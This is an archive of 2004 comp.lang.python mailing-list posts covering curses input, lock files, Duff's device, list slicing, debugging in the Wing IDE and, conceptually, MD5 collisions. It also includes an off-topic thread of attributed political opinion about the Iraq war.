<413a06fc@news.kullen.rwth-aachen.de> Hi there, I run in a problem with a script, that shall work similar like the c-program "most". It should be able to get some text on execution via a pipe but also is interactive by the user via the curses module (for scrolling and stuff). The problem is: if you call the script like that, you connect stdin to text.txt and any later keyboard input is ignored, since curses also reads from stdin. I have the rather blurry impression that this could be possible with threading or forking inside the script, but I nether did things like that before and am hopeful to get some cool advice from you experienced guys. :-) From maxwell at ldc.upenn.edu Thu Sep 2 08:30:51 2004 From: maxwell at ldc.upenn.edu (Mike Maxwell) Date: Thu, 02 Sep 2004 08:30:51 -0400 Subject: need an idea, recognize sequence, fsm or genetic ? In-Reply-To: <63b5e209.0409012321.5850291f@posting.google.com> References: <63b5e209.0409012321.5850291f@posting.google.com> Message-ID: Joh wrote: > here is my trouble, i would to like to write a program which could > help me to detect sequence of consecutive words in list in a very > efficient way. These repeats are called "tandem arrays." Algorithms for quickly finding them (and many other useful patterns) are given in Gusfield, Dan. 1997. Algorithms on strings, trees and sequences. Cambridge: Cambridge University Press. Gusfield has a web site http://wwwcsif.cs.ucdavis.edu/~gusfield/ with downloadable software. I don't recall whether his web site talks about tandem arrays, but I'm sure you could google the term... Mike Maxwell From carribeiro at gmail.com Thu Sep 23 08:02:54 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Thu, 23 Sep 2004 09:02:54 -0300 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. In-Reply-To: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> Message-ID: <864d370904092305026f41795@mail.gmail.com> I really like this kind of stuff. Information management, knowledge management, complexity management, you name it -- it's a increasingly interesting topic. Appliances also are relevant, as it is seamless networking. I heed you to check Microsoft's documents on "how Longhorn will be great" :-) Seriously, they're working hard to create a new paradigm for the Windows desktop, and some of the things that you talk about are discussed there too -- namely, they're hiding folders, drive names, etc, from the user view, and creating a new and much simplified user interface. Google is known to be working on something similar -- your computer will be just a big Google-indexed repository of information. No more trying to file things into folders, Google will categorize and locate things back for you in a snap. A project of this size is really big and ambitious. A suggestion is to create a new mailing list and to start discussing it there. If it's in Python, I'm sure you can thrown baits here at c.l.py from time to time to hook new people :-) -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From nigel.king at orthogonsystems.com Thu Sep 30 10:17:59 2004 From: nigel.king at orthogonsystems.com (Nigel King) Date: Thu, 30 Sep 2004 15:17:59 +0100 Subject: multiple instance on Unix In-Reply-To: <415C05E5.5040108@hotmail.com> References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> <415AF802.1080909@bellsouth.net> <415C05E5.5040108@hotmail.com> Message-ID: <883EE278-12EB-11D9-B04E-0003938543A0@orthogonsystems.com> On 30 Sep 2004, at 14:11, C Ginger wrote: > I know the approach to creating a lock file has been around a long > time but there are certain weaknesses to it. There are a number of > race conditions in it. For instance if process A detects the directory > isn't there it will attempt to create it. During that same time > process B might also not find it there - since A hasn't completed its > create yet. This was why I created a directory rather than a file since I thought this was supposed to be atomic. > > I think a better approach would be to use the shared memory option > (see man shmop). The idea here is that each invoked instance would get > back the same shared memory and use an appropriate atomic op to lock > the process. Of course doing this in pure Python might be a bit > difficult. Thanks for all of the suggestions flooding in. This all seems an unusual case of batteries not included. Nigel King From kyle at lakeofburningfire.org Sun Sep 5 17:16:51 2004 From: kyle at lakeofburningfire.org (Kyle Yancey) Date: Sun, 05 Sep 2004 21:16:51 GMT Subject: Zope 2.7.2 win32 - Sessions not working References: Message-ID: Sorry for not replying for so long. I've been busy. I just gave up on Zope sessions and used FSSession. It is poorly documented, but at least it works. The Account page will redirect to the Login page if no cookie is assigned. The login page should always redirect to the account page with an assigned cookie. From carribeiro at gmail.com Fri Sep 24 10:58:42 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 24 Sep 2004 11:58:42 -0300 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. In-Reply-To: References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> Message-ID: <864d3709040924075835fb3b0d@mail.gmail.com> On Thu, 23 Sep 2004 17:53:16 -0700, Richard Hanson wrote: > (I've already thought of Doors... -- doors are more useful than > windows, aren't they? ;-) ) "Traps" are even more useful sometimes ;-) (...running for cover..) -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From yk.suse at bullier.org Fri Sep 3 17:26:38 2004 From: yk.suse at bullier.org (Yann.K) Date: Fri, 03 Sep 2004 23:26:38 +0200 Subject: open default MUA with a hyper link References: Message-ID: Jp Calderone wrote: > Yann.K wrote: > webbrowser.open("mailto:exarkun at divmod.com") gives me a mozilla > browser and a mozilla compose window. I don't know of an existing way > to do better than that. Yes i tried already that, but it isn't very nice: two window for one required... Regards. -- Yann.K From mauriceling at acm.org Sun Sep 19 20:49:21 2004 From: mauriceling at acm.org (Maurice LING) Date: Mon, 20 Sep 2004 00:49:21 GMT Subject: python is going to die! =( In-Reply-To: References: Message-ID: <414e290d$1@news.unimelb.edu.au> Languages don't die, dying is a personified concept. Languages are just less use or more used. Is latin dead? Think again, the term "doctor" is latin. All your medical doctors have MBBS (Medicus Baccalaureus, Bachelor of Surgery)... From FBatista at uniFON.com.ar Wed Sep 22 09:43:21 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Wed, 22 Sep 2004 10:43:21 -0300 Subject: Math errors in python Message-ID: [Richard Hanson] #- I just dropped decimal.py from 2.4's Lib dir into 2.3.4's Lib dir. #- Seems to work. Any gotchas with this route? No. It's the way to go. I'm preparing an installer for the module, but all it'll do is that (and give you docs and the files to make the tests if you want). #- By the way, I got decimal.py revision 1.24 from CVS several days ago #- and noted a speedup of over an order of magnitude -- almost #- twenty-five times faster with this simple snippet #- calculating a square #- root to 500 decimal places. :-) We're working on that, :) -------------- next part -------------- An HTML attachment was scrubbed... URL: From roy at panix.com Fri Sep 10 11:16:12 2004 From: roy at panix.com (Roy Smith) Date: Fri, 10 Sep 2004 11:16:12 -0400 Subject: Is there no switch function in Python References: <1Zb*VOguq@news.chiark.greenend.org.uk> <87llfip5ep.fsf@sinken.local.csis.hku.hk> Message-ID: Isaac To wrote: > C switch is much more flexible than one would expect. It is not just > a cheap replacement of a sequence of if-then-else. E.g., in an > exercise of "The C++ Programming Language" of Bjarne Stroustrup, you > can see the following example code: > > void send(int *to, int *from, int count) { > int n = (count + 7) / 8; > switch (count % 8) { > case 0: do { *to++ = *from++; > case 7: *to++ = *from++; > case 6: *to++ = *from++; > case 5: *to++ = *from++; > case 4: *to++ = *from++; > case 3: *to++ = *from++; > case 2: *to++ = *from++; > case 1: *to++ = *from++; > } while (--n > 0); > } > } La-de-dah, Bjarne discovers loop unrolling. You don't need a switch statement to unroll loops. Hold on a second. Cases 1 through 7 jump into the middle of the do loop!? Pardon me while I barf. I didn't even know that was legal. That's the kind of code that gives C++ a bad name. From joh12005 at yahoo.fr Fri Sep 10 09:49:24 2004 From: joh12005 at yahoo.fr (Joh) Date: 10 Sep 2004 06:49:24 -0700 Subject: how to build simple FSM using generators ? References: <63b5e209.0409081225.345ae973@posting.google.com> <4yV%c.26886$Z14.8936@news.indigo.ie> Message-ID: <63b5e209.0409100549.7fd09887@posting.google.com> Alan Kennedy wrote in message news:<4yV%c.26886$Z14.8936 at news.indigo.ie>... > [Joh] > > Have you seen this old post of mine, which looks like it might be > relevant to you. > > http://groups.google.com/groups?selm=3ED622CA.4B01E3C1%40hotmail.com yes, just few days after this post, BTW it is a difficult thread to follow, i've readed it 3 times and think i must still re-read to get everything of it... but even i feel it helps me more than developerworks one. will you one day write the article / summary you were talking about ? best, From adalke at mindspring.com Sun Sep 26 03:06:25 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sun, 26 Sep 2004 07:06:25 GMT Subject: [OT] "Pre-announcement" of Python-based "computing appliance"project. In-Reply-To: References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com><89adnWTWC6JVscncRVn-uw@giganews.com><10l90qcihqrjba1@corp.supernews.com> Message-ID: > Richard Hanson wrote: >> But, but... How can *QM* be the ultimate framework? -- it doesn't >> include gravity (GR). Stephen Waterbury wrote: > Touche! OK, modulo superstrings. :) There are many quantum mechanics models. The original one, the Schr?dinger equation, was extended to relativity with the Klein-Gordon equation, thence refined to quantum eletrodynamics (QED) to include the weak for and quantum chromodynamics (QCD) to include the strong force. All of these are quantum mechanics, as is string theory, *-branes, and many others, including many known to be non-physical. Superstrings is an attempt to be a quantum theory that includes gravity. The confusion you two had is that our current best description of the universe is called the Standard Model and it's often assumed that the Standard Model is identical to being QM, as compared to only be *a* quantum mechanical model. >> Likewise, in QM it seems that a robot taking measurements is >> sufficient to "collapse the wave function." Of course, you could also >> argue that robots are people, too. ;-) There was an interesting paper a month or two back, forgot where, which showed how the length of time for superposition was a function of temperature. The hotter it was the shorter the time, because there were more photons interacting with the environment. No active "taking measurements needed" -- only interaction with the passive environment. Though I didn't read the article that closely. I mostly looked at the picture. I also read something recently about a proposed experiment that might distinguish between a couple of the standard philosophical interpretations of QM. About all I recall is that the granddaughter of one of the early 20th century physicists (Bohr? Schr?dinger? Heisenberg?) was involved. Andrew dalke at dalkescientific.com From aleaxit at yahoo.com Thu Sep 2 03:13:55 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 2 Sep 2004 09:13:55 +0200 Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> <1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com> Message-ID: <1gjg8cp.4sacl1aebe5oN%aleaxit@yahoo.com> Dan Perl wrote: > My mistake. You're right, and it's all because of the inheritance from > 'object', which probably defines a default, empty, __init__. I haven't made > a habit of subclassing from 'object' yet and I see that I'll have to do > that. Thanks. If you define several parent-less classes in a module, it may be simpler to place at the module's start the assignment statement: __metaclass__ = type This is equivalent to explicitly specifying object as the base class of any otherwise parent-less class. Alex From jerf at jerf.org Sat Sep 18 01:14:06 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Sat, 18 Sep 2004 05:14:06 GMT Subject: PyYaml? References: <2IO2d.1086$HH5.1025@trndny05> Message-ID: On Sat, 18 Sep 2004 04:20:14 +0000, Chris S. wrote: > Is there any benefit to Pickle over YAML? Given that Pickle is insecure, > wouldn't it make more sense to support a secure serialization format, > one that's even readable to boot, such as YAML? Anything that can "pickle" will be insecure. It is the capabilities of pickling, not the implementation, that is insecure. From amk at amk.ca Thu Sep 9 09:56:35 2004 From: amk at amk.ca (A.M. Kuchling) Date: Thu, 09 Sep 2004 08:56:35 -0500 Subject: Python doc experiment Message-ID: As a half-hour hack, I took a copy of the Python docs, stuck them in a frameset, and added some JavaScript that displays a corresponding Wiki page in another frame. Feel free to play with http://pydoc.amk.ca/frame.html; please record problems on the Wiki page at http://pydoc.amk.ca/w/KnownProblems . --amk From nobody at hotmail.com Tue Sep 28 19:33:48 2004 From: nobody at hotmail.com (Maboroshi) Date: Tue, 28 Sep 2004 16:33:48 -0700 Subject: Python + strange == cool In-Reply-To: References: <10ljshapfl2nbd8@corp.supernews.com> Message-ID: <10ljt8v9t63ceeb@corp.supernews.com> Ok that makes sense Cheers Phil Frost wrote: > The second number in the slice is the index of the last element to be > included, exclusive. It is not an offset from the first index. Adding > the "+" does nothing; that just means "positive". As the laws of > mathematics dictate, "+n = n"; the unary + is just for symmetry with the > unary '-'. > > On Tue, Sep 28, 2004 at 04:21:12PM -0700, Maboroshi wrote: > >>All fine and good >> >>>>>x = ["list1", "list2", "list3", 4, 5, 6, 7] >>>>>x[1:-1] >> >>['list2', 'list3', 4, 5, 6] # All good here >> >>this struck me as weird I had an idea to mess around with lists >> >>>>>x[1:+1] >> >>[] >> >>now when I do this >> >>>>>x[1:+2] >> >>['list2'] >> >>Does this puzzle anyone else >> >>of course I am a total novice so I have no idea what I am doing here if >>anyone has any ideas please reply From john at grulic.org.ar Tue Sep 21 16:18:26 2004 From: john at grulic.org.ar (John Lenton) Date: Tue, 21 Sep 2004 17:18:26 -0300 Subject: class size In-Reply-To: References: Message-ID: <20040921201826.GC11675@grulic.org.ar> On Tue, Sep 21, 2004 at 02:52:05PM -0400, Peter Hansen wrote: > Peter Hansen wrote: > >Discussing this issue quantitiatively is wrong. The real > >concern should be about things like coupling, coherency, > >readability, and maintainability. Learn about those concepts and > > D'oh! Brain fart... I meant "cohesion", not "coherency". > I should have paid attention to my hesitation while typing > that word... > > (Of course, code should probably be coherent, too, but it's > not typically seen as a concern... text files rarely break > apart spontaneously. ;-) actually, I think on of the 'code smells' should be coherence, in the laser-is-coherent-light sense. Code has got to flow right. -- John Lenton (john at grulic.org.ar) -- Random fortune: If you find a solution and become attached to it, the solution may become your next problem. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: From db3l at fitlinxx.com Wed Sep 22 18:22:01 2004 From: db3l at fitlinxx.com (David Bolen) Date: 22 Sep 2004 18:22:01 -0400 Subject: python ides References: <1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com> <1gkj4c6.1xmd0xd1jdgzx9N%aleaxit@yahoo.com> <1gkj9oh.jxczua1nwfvogN%aleaxit@yahoo.com> Message-ID: aleaxit at yahoo.com (Alex Martelli) writes: (...) > > But of course that mechanism is just as useful even if you could start > > your own application, since it lets you minimize the debugging > > overhead until you actually reach the right point (which might be > > after some unknown amount of runtime). > > That's possible, too, though a debugger who's _only_ gonna catch > exceptions might not have all that much overhead until an exception does > happen. It's not quite that good, but still somewhat flexible. By importing the stub module in your application, you're enabling it for debugging from that point onwards. If the Wing IDE is running at that point it'll immediately connect and then run under control of the debugger. It won't stop the application, just keep running at the point onwards. If the IDE isn't available, then the application will listen for subsequent attach requests from Wing at which point the debugging control will begin. But, like most Python debuggers, the actual debugging is handled by the trace hooks, so once actually attached to the IDE, you will pay some penalty (not sure how much), even if you only care about exceptions. Then again, a side benefit is that once attached you can forceably interrupt the application at any moment. So depending on that load, there can be an advantage to importing the stub as late as possible (or as close to the debug point as possible) and then just leaving the IDE running to service the connection at that point. The other advantage the controlled import gives you is that with most current Python releases debugging multiple threads doesn't work well (I think it was 2.4 that improved hooks for this), so you can control which thread imports the stub and that becomes the thread being debugged. All in all, pretty impressive. Ironically though, while this was the key differentiator (well, that plus the source analysis - it was the best IDE when I was looking at parsing the wxPython package for code completion) I saw to the package, our use of TDD in our recent coding has really ended up rarely needing much in the way of a debugger yet, but it's nice to know what to buy when I need it. (And 2.0 hits a number of the visual issues I had, with a development team predominently on Windows currently, so I'm enthusiastically following the current beta). -- David From bockman at virgilio.it Sat Sep 11 08:55:06 2004 From: bockman at virgilio.it (Francesco Bochicchio) Date: Sat, 11 Sep 2004 12:55:06 GMT Subject: if-else-then References: <848b3711.0409110434.6db93979@posting.google.com> Message-ID: On Sat, 11 Sep 2004 05:34:42 -0700, TuPLaD wrote: > Thank you very much ! > > But i got one more question, i was googling in python sites, and i > found a site where he he a code like this : > > > if user type: n, no, nop, nope then print 'You canceled' > else > if user type: y, ye, yes, yep then print 'We are beginning' > > > How do i do that ? > Not much differently from what you have already written :-) user_string= raw_input("Tell me:") if user_string in 'y', 'ye', 'yes', 'yep': print "We are beginning" elif user_string in 'n', 'no', 'nop', 'nope': print "You canceled" From elbertlev at hotmail.com Wed Sep 29 23:18:43 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 29 Sep 2004 20:18:43 -0700 Subject: annoying behavior References: <9418be08.0409280856.9368ddf@posting.google.com> <41599BD7.7040809@bellsouth.net> <653b7547.0409281915.5ff0d92e@posting.google.com> <9418be08.0409290318.7c81750c@posting.google.com> <653b7547.0409291137.6846793e@posting.google.com> Message-ID: <9418be08.0409291918.63d4c20d@posting.google.com> pmaupin at speakeasy.net (Patrick Maupin) wrote in message news:<653b7547.0409291137.6846793e at posting.google.com>... > elbertlev at hotmail.com (Elbert Lev) wrote: > > > Making interpreter 100% "bullet prove" is impossible, finding errors, > > which can be found, not only possible, but also very commendable. > > > > Isn't this obvious? > > Not yet, but once you submit a patch for the compiler which will do > what you want (without slowing down imports tremendously for everybody > else), I'm sure it will be such a thing of beauty that it will, in > retrospect, be obvious, and you will be hailed by one and all as the > man who finally added true error detection to Python. > > > Let's stop wasting time on this discussion and continue discussing > > decorators :) > > I agree that this discussion is wasted on a man of your capabilities, > but so is the discussion about decorators. I'd rather see that patch. > > Regards, > Pat I respect you too. Regards. Lev. From rnichol_rrc at yahoo.com Wed Sep 1 14:01:50 2004 From: rnichol_rrc at yahoo.com (Reid Nichol) Date: Wed, 01 Sep 2004 13:01:50 -0500 Subject: negative stride list slices In-Reply-To: <8a638f47.0409010941.7f1cbbad@posting.google.com> References: <8a638f47.0409010941.7f1cbbad@posting.google.com> Message-ID: David Abrahams wrote: > Can anyone explain the logic behind the behavior of list slicing with > negative strides? For example: > > >>> print range(10)[:-3:-1] > [9,8] > > I found this result very surprising, and would just like to see the > rules written down somewhere. > > Thanks, > -- > Dave Abrahams > Boost Consulting > http://www.boost-consulting.com http://www.python.org/doc/current/tut/node5.html#SECTION005120000000000000000 From mwilson at the-wire.com Thu Sep 2 16:10:52 2004 From: mwilson at the-wire.com (Mel Wilson) Date: Thu, 02 Sep 2004 16:10:52 -0400 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> Message-ID: In article , Gandalf wrote: >>Note that while .index() makes sense for some sequences, >>such as strings and lists, it doesn't make sense for the >>way in which tuples are "supposed to be used", which is >>as collections of heterogeneous data and not usually as >>simply read-only lists. > >Why it is not useful to have an index() method for collections of heterogeneous data? Since the data are heterogenous, they're interpreted according to their positions in the tuple. In a tuple of name, address, city: ('Marlene Stewart Street', 'Lois Lane', 'Margaret Bay') It makes no sense to exchange elements, or treat one like another, no matter that they're all strings, and no matter what you think they look like. Just finding the value 'Lois Lane' in the tuple doesn't tell you what 'Lois Lane' means. All of which is belied by our recent experience of rows of database fields kicked off by a row of column labels: ('name', 'address', 'city') ('Marlene Stewart Street', 'Lois Lane', 'Margaret Bay') ('Cecil Rhodes', 'Frank Court', 'Saint John') Then my first and only reaction is to turn the whole mess into a list of dictionaries and forget about the list/tuple distinction for the rest of the day. Regards. Mel. From dwall at fastmail.fm Thu Sep 2 21:55:52 2004 From: dwall at fastmail.fm (David K. Wall) Date: Fri, 03 Sep 2004 01:55:52 -0000 Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <9pqej0tjtikajsa74c7a5el7quk49k053s@4ax.com> Message-ID: Alan Balmer wrote: > On Thu, 02 Sep 2004 20:58:34 -0000, "David K. Wall" > wrote: >> >>Linus deliberately tried to pay attention to the POSIX standard >>almost as soon as he realized that his terminal emulator project >>was turning into an OS. 1991 isn't all that long ago, but I'm >>not sure I would refer to it as "recent" in this context. >> >>http://groups.google.com/groups?selm=1991Jul3.100050.9886% 40klaava.Helsinki.FI > > I don't know that the "interest" he expresses in this post proves the > point ;-) However, Linux was based on Minix, and I think Minix was > POSIX.2 compliant. Well, I'm in no way a Linux or Minix expert, but I do have a copy of Linus' book "Just for Fun", about the creation of Linux. Just by chance, I happened to pick it up last night and read a chapter or two, and read that same usenet post. So I'm pretty sure that the project was Linux. He didn't actually get a copy at that time, because he found out it would cost money he didn't have, so he used (IIRC) some Sun manuals for reference. Just adding a data point.... I'll snip the stuff about POSIX.4, because I'm completely ignorant of what is actually *contained* in the POSIX standards. :-) From tjreedy at udel.edu Thu Sep 16 14:30:12 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 16 Sep 2004 14:30:12 -0400 Subject: up with PyGUI! References: <2qq5adF133c5kU1@uni-berlin.de><1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com><1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com><1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com> <1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com> Message-ID: "Alex Martelli" wrote in message > So I was wrong -- it's happening all right, but tends to be disguised > (perhaps for marketing reasons). Thanks for the info! Also for political reasons. The US has reactionaries, left and right, who reject the idea that all people have a right to participate in the global information economy. Terry J.Reedy From cbeck at mercury.bc.ca Tue Sep 14 12:46:08 2004 From: cbeck at mercury.bc.ca (Coby Beck) Date: Tue, 14 Sep 2004 16:46:08 GMT Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> Message-ID: "Greg Menke" wrote in message news:m3pt4qc57f.fsf at europa.pienet... > Chuck Dillon writes: > > > However, to answer your question: How does regime change in Iraq help > > avoid another 9/11... > > 1) It removes one of the states that might consider sponsing > > such a future attach. > > Wouldn't it have made more sense to invade Saudi Arabia? Thats where > the terrorist money and terrorist leadership is from. Iraq is chump > change on that account- heck, even Iran or Syria would've made a much > better target on this basis. Or are we such bullies that we'll pick > the weakest kid to beat up to show how strong we are? I think Iraq provided a tempting combination of circumstances. It was an easy military target, it saw an easy sell to the American public and the American congress, it was a valuable target in terms of regional strategies and it has very lucrative natural resources. All the other justifications are very transparent propoganda, and the furious debating (was there WMD, wasn't there) and hand-ringing (should we have, shouldn't we have..) are a part of the accidental genius of the American media's opinion construction machine. > > 2) It removes a state with the expertise of producing (not > > developing) WMD that might be used in such an attack. We've found no > > WMD stockpiles but we *have* found proof that Iraq retained the > > expertise to produce WMD in the future. We still don't know if there > > are stockpiles. > > I'm sure there are lots of countries that have the expertise & the > will- how many countries should we invade before that approach starts > looking like a bad idea? I think we should also invade Pakistan right > away- they have working nuclear weapons & real live terrorists, not > just half-baked piles of rusty junk scattered around the country and > half buried under a decade & a half of 3rd world style bureaucratic > corruption & desert sand. There are of course dozens of countries with these kinds of weapons. And I think it is extremely unlikely that Iraq's WMD programs will now be halted under US control. And it is equaly unlikely that UN inspectors will be allowed back in as long as the US or a US backed gov't is in power there. But of course that is acceptable for a client state. > > 3) It demonstrates to other states in the region that they > > could have a regime change in about a month's time if they allow > > themselves to be in the position of being held accountable for any > > future attack. > > Don't you mean "if they are ever placed on the Axis Of Evil?" Indeed, it takes more than supporting terrorism. As you pointed out, Saudi Arabia and its ruling royal family has verified and direct financial and operational connections to Al Qaeda and related Islamic extremist groups, yet they are not in any immediate danger of US invasion. Again it is much more a question specific regional strategies, the "War on Terror" is just the excuse to sell this violence to those of us "to squemish" to understand the unpleasant realities of foriegn affairs. ("You can't handle the truth!") > > 4) Look at a map of the middle east. It provides us with a > > base of operations in the center of the region. We probably won't > > have to ask for access to bases and airspace in future operations, > > which hopefully will never have to happen. > > So now we're back to being an imperial power? I thought we were in > Iraq for humanitarian reasons- I guess I didn't get the memo. Wars are never fought for humanitarian reasons. This war, like all others, is about economic positioning and power. Believing that the US would spend 100's of billions of dollars just to "liberate" the population of a foreign nation is laughable except for the fact that so many otherwise intelligent people actually believe it. Reason 4 above is the only one that can hold an ounce of water. > > 5) It provides us with a second (ref: Afghanistan) shot at > > establishing a pseudo-democracy in the region. > > Don't you think it would be a good idea to practice this sort of thing > before imposing it elsewhere? > > > > 6) It underscores that 9/11 should go into the "bad idea" > > category for future planners of Islamic extremist operations. > > Afganistan taught that. Iraq teaches the Islamic world that we're > crazy. Iraq teaches the Islamic world that the US is indeed their biggest enemy and lends credibility to the lunacy being preached by the likes of Bin Laden and Al Zawqari. > > You are being naive. Complain as loud as you like but there is no > > question that the ability and demonstrated willingness to defend ones > > self is the best deterrent to ever having to do so. > > > > So you're talking about a "preemptive defense"? This is just standard American double-speak whereby a unilateral invasion of a foriegn nation that *has not* attacked them is self-defense, and where the delibrate targeting of civilians (as in Fallujah) is referred to as liberation and where guerilla murderers attacking Nicaragua from another country are "Freedom fighters" and people resisting an illegitimate foreign occupying power in Iraq are "terrorists." And where serious journalists swallow their government's line that foreign affairs is about "good vs. evil" Again it would be laughable except for its apathetic acceptance and the horrible cost in human terms that the world pays. Us, good, them, evil? No, the world is not so simplistic and Good vs Evil is a false dichotomy. There are very few truly good forces at play, it is so much more about personal profit and power. And definitley governments do not generally place Good and Just above economic advantage. The US invasion of Iraq is like every other unilateral invasion in human history, it is about money and power. -- Coby Beck (remove #\Space "coby 101 @ big pond . com") From jmlai at uci.edu Sun Sep 12 23:02:43 2004 From: jmlai at uci.edu (Jason Lai) Date: Sun, 12 Sep 2004 20:02:43 -0700 Subject: MD5 and SHA cracked/broken... In-Reply-To: <7xacvuyjfn.fsf@ruckus.brouhaha.com> References: <7xacvuyjfn.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > Kirk Job-Sluder writes: > >>It should also be mentioned that "broken" in terms of Cryptography is a >>bit different from how we think about computer security in general. >>"Broken" in this case means that there exists a known algorithm that >>makes it easier than a brute force attack to violate one or more of the >>desired properties for a good hash algorithm. It DOES NOT mean that a >>practical exploit exists for MD5 that permits one to slip a trojan into >>downloaded files or crack a password file. There are easier ways to >>plant a trojan than to create an identical MD5 hash, or crack a password >>file than to try to break preimage resistance. > > > You don't need preimages to plant a trojan. If you can create mere > collisions, you can create two files, one with a trojan and one > without a trojan, that have the same md5sum. You publish the > non-trojan one, people inspect it carefully and start using it, and > download sites say that its md5sum should be so-and-so. Now you can > replace the non-trojan file with the trojan version and the md5sum > will still verify. Even if you find a collision, wouldn't it be highly likely that one version wouldn't be a usable program? I'd think that generating two valid programs -- not necessarily ones that do anything useful -- with the same MD5sum would be exceedingly difficult, even with all sorts of padding tricks. Not to mention that people expect tars or zip files. As I understand it, that's the definition of "second preimage resistence." - Jason Lai From exarkun at divmod.com Fri Sep 3 17:33:35 2004 From: exarkun at divmod.com (Jp Calderone) Date: Fri, 03 Sep 2004 17:33:35 -0400 Subject: It's in Python. It just _works_! In-Reply-To: <9418be08.0409030632.425a9936@posting.google.com> References: <4137b3ed$0$65570$a1866201@newsreader.visi.com> <9418be08.0409030632.425a9936@posting.google.com> Message-ID: <4138E32F.9000704@divmod.com> Elbert Lev wrote: > Tim Peters wrote in message news:... > >>[Grant Edwards] >> >>>... >>>Apparently, the file descriptor you get from a socket object >>>under Win32 can't be used with os.read() and os.write()? I >>>couldn't find anywhere in the docs that said so, but I sure >>>couldn't get it to work. At least not under WinMe. >> >>Socket handles and file descriptors are disjoint concepts in Windows >>(any flavor), and aren't interchangeable in any context. > > > Not exactly. In WIN32 API WriteFile() one can use SOCKET and file > handle returned by CreateFile(). os.read() uses handles returned by > open(), which on WIN32 are not the same as returned by CreateFile. Note he said "socket handles" and "file descriptors" while you are talking about "socket handles" and "file handles". On Windows, file descriptors exist, but they are just a compatibility layer over some kind of handle. This compatibility layer is generally fairly limited, and only allows file descriptors to be used in certain contexts. If you use the real handles and the real win32 APIs (which you can do with the pywin32 extension), things are indeed much more consistent. Jp From rpw3 at rpw3.org Wed Sep 8 06:09:24 2004 From: rpw3 at rpw3.org (Rob Warnock) Date: Wed, 08 Sep 2004 05:09:24 -0500 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com><20040904.0140.57670snz@dsl.co.uk> <769.746T1245T5844062@kltpzyxm.invalid> Message-ID: John Thingstad wrote: +--------------- | As you may know XP is not particularly good as a server. ... | I would go for some Unix implementation (perhaps free-BSD) | As a workstation XP seems OK. | I hear a lot of complaints about XP's stability. | Since I have not administered a XP network, yet, I cant comment on that. | But in my personal experience it is a stable system. | I frequently let my computer run 24 hrs. a day for more than a month | without a need to reboot. So for me it is adequate. +--------------- *Only* a month?!? Here's the uptime for one of my FreeBSD boxes [an old, slow '486]: % uptime 2:44AM up 630 days, 21:14, 1 user, load averages: 0.06, 0.02, 0.00 % That's over *20* months!! -Rob p.s. I remember the time back in the early 70's (at Emory Univ.) when we called DEC Field Service to complain that our PDP-10 had an uptime of over a year. Why were we complaining? Well, that meant that DEC Field Service had failed to perform scheduled preventive maintenance (which usually involved at least one power cycle)... ;-} ----- Rob Warnock 627 26th Avenue San Mateo, CA 94403 (650)572-2607 From jeff at ccvcorp.com Tue Sep 14 16:39:17 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Tue, 14 Sep 2004 13:39:17 -0700 Subject: Strange "feature" involving double slashes in Win98 In-Reply-To: References: Message-ID: <10kelk5jds6hk1f@corp.supernews.com> Carlos Ribeiro wrote: >a) cd c:\\windows --> fails with an "invalid folder" message >b) cd c:\\[my_workstation_name] --> abort, retry or ignore > > Additionally, as an extra data point, both of these failed with "The system cannot find the path specified" on my Win2K machine, so it's not just a Win9x issue. (I'm not sure if the fact that they're different errors on your machine but the same error on my machine is significant, but in either case it's still nonfunctional.) Jeff Shannon Technician/Programmer Credit International From cpl.19.ghum at spamgourmet.com Fri Sep 10 02:28:01 2004 From: cpl.19.ghum at spamgourmet.com (Harald Massa) Date: Fri, 10 Sep 2004 06:28:01 +0000 (UTC) Subject: Postgresql - Preferred Python Library References: 